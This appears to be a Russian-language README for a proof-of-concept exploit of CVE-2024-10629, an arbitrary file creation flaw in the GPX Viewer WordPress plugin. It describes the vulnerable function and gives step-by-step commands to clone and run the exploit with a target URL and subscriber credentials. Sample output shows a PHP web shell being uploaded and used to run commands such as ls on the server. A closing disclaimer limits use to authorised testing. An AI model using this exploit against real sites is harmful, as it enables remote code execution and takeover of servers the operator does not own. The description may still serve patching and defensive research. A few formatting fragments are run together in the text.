
GPX Viewer <= 2.2.8 - Аутентифицированный (Подписчик+) Произвольное создание файлов
Этот репозиторий содержит эксплойт proof-of-concept для плагина GPX Viewer для WordPress, который уязвим к произвольному созданию файлов (CVE-2024-10629). Уязвимость позволяет аутентифицированным атакующим с доступом уровня подписчика и выше создавать произвольные файлы на сервере затронутого сайта, что потенциально может привести к удалённому выполнению кода.
Плагин GPX Viewer для WordPress уязвим к произвольному созданию файлов из-за отсутствия проверки прав доступа и проверки типа файла в функции gpxv_file_upload() во всех версиях до 2.2.8 включительно. Это позволяет аутентифицированным атакующим с доступом уровня подписчика и выше создавать произвольные файлы на сервере затронутого сайта, что может сделать возможным удалённое выполнение кода.
requestsКлонируйте репозиторий:
git clone https://github.com/Nxploited/CVE-2024-10629/
cd CVE-2024-10629
Установите требуемую библиотеку:
pip install requests
Запустите эксплойт:
python exploit.py -u <target_url> -un <username> -p <password>
Замените <target_url>, <username> и <password> на соответствующие значения.
python CVE-2024-10629.py -u http://example.com/wordpress -un subscriber -p subscriber_password
ls).[+] WordPress plugin version: 2.2.8
[+] Vulnerable version detected. Proceeding with exploitation...
[+] Logged in successfully.
[+] Shell uploaded. Checking shell...
[+] Shell uploaded successfully.
[+] Shell URL: http://example.com/wp-content/uploads/gpx/uncategorized/nxploit_exploit.php
[+] Command output:
http://example.com/wp-content/uploads/gpx/uncategorized/nxploit_exploit.php?cmd=ls
index.php
wp-admin
wp-content
wp-includes
...
ls = показать файлыuname -a = показать информацию о системеДанный эксплойт предназначен только для образовательных целей и авторизованного тестирования. Несанкционированное использование этого эксплойта против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным и неэтичным. Авторы и участники этого репозитория не несут ответственности за любое неправомерное использование или ущерб, причинённый данным эксплойтом.
Автор: Khaled Alenazi (Nxploit)